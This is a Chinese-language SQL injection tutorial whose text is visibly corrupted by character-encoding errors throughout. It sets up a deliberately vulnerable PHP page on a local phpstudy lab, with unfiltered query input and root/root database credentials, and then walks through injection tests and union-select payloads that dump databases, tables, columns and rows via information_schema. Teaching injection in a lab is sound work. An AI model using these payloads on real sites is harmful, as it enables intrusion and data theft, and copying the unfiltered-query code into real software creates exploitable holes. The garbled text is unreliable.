一
1.注入原理
sql注入漏洞產(chǎn)生的原理是因為服務器對用戶輸入?yún)?shù)過濾不嚴格,將含有惡意代碼的參數(shù)代入數(shù)據(jù)庫查詢語句中并執(zhí)行。
2.sql注入中常用的函數(shù)與語法
將select的查詢結果全部顯示出來,占一個顯示位
Group_concat():
查詢MySQL版本
select version():
查詢數(shù)據(jù)庫用戶名
select user():
查詢數(shù)據(jù)庫名
select database():
查詢數(shù)據(jù)庫的絕對路徑
select @@datadir():
select @@version_compile_os:查詢操作系統(tǒng)版本
select current_user():查詢當前用戶
Order by: 找列的數(shù)量
Union select:聯(lián)合查詢(聯(lián)合查詢的條件是前一條語句查詢不到且字段數(shù)與前一條語句的查詢字段數(shù)一致)
limit:限制顯示個數(shù)(如:limit 0 2 表示從第一個開始顯示兩個)
3.注入實例
環(huán)境:win7+phpstudy
部分代碼實現(xiàn)(文件保存為sql.php)
<?php
error_reporting(0);
$id = $_GET['id'];
$con = mysql_connect('localhost','root','root');
if(!$con){
die('mysql connect failed');
}
mysql_select_db('test',$con) or die('failed to connect db');
$sql = "SELECT * FROM users WHERE id='{$id}'";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result)) {
echo "
姓名:$row[1] 綽號:$row[2]
";
}else{
echo mysql_error();
}
mysql_close($con);
?>
數(shù)據(jù)庫代碼
create database test; //創(chuàng)建數(shù)據(jù)庫test
create table users(id int,name varchar(10),nicheng varchar(15)); //創(chuàng)建users表
insert into users values(1,'haha','haha');
insert into users values(2,'xixi','xixi'); //插入數(shù)據(jù)
- 開phpstudy,訪問sql.php
- 輸入正確的ID,能夠查詢出數(shù)據(jù)
- 檢測是否存在注入
數(shù)字型:and 1=1;and 1=2 判斷是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 關鍵字%' and 1=1 and '%'='% ; 關鍵字%' and 1=2 and '%'='%
- 通過源代碼我們可以知道這里對傳入的ID沒有做任何過濾所以可以開始構造惡意語句
?id=1' order by 3 --+ //判斷字段數(shù)
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
或
?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+ //爆庫
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名' limit 0,1),3 --+ //爆表
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1),3 --+ //爆字段
?id=-1' union select 1,(select 字段 from 數(shù)據(jù)庫.表 limit 0,1),3 --+ //爆數(shù)據(jù)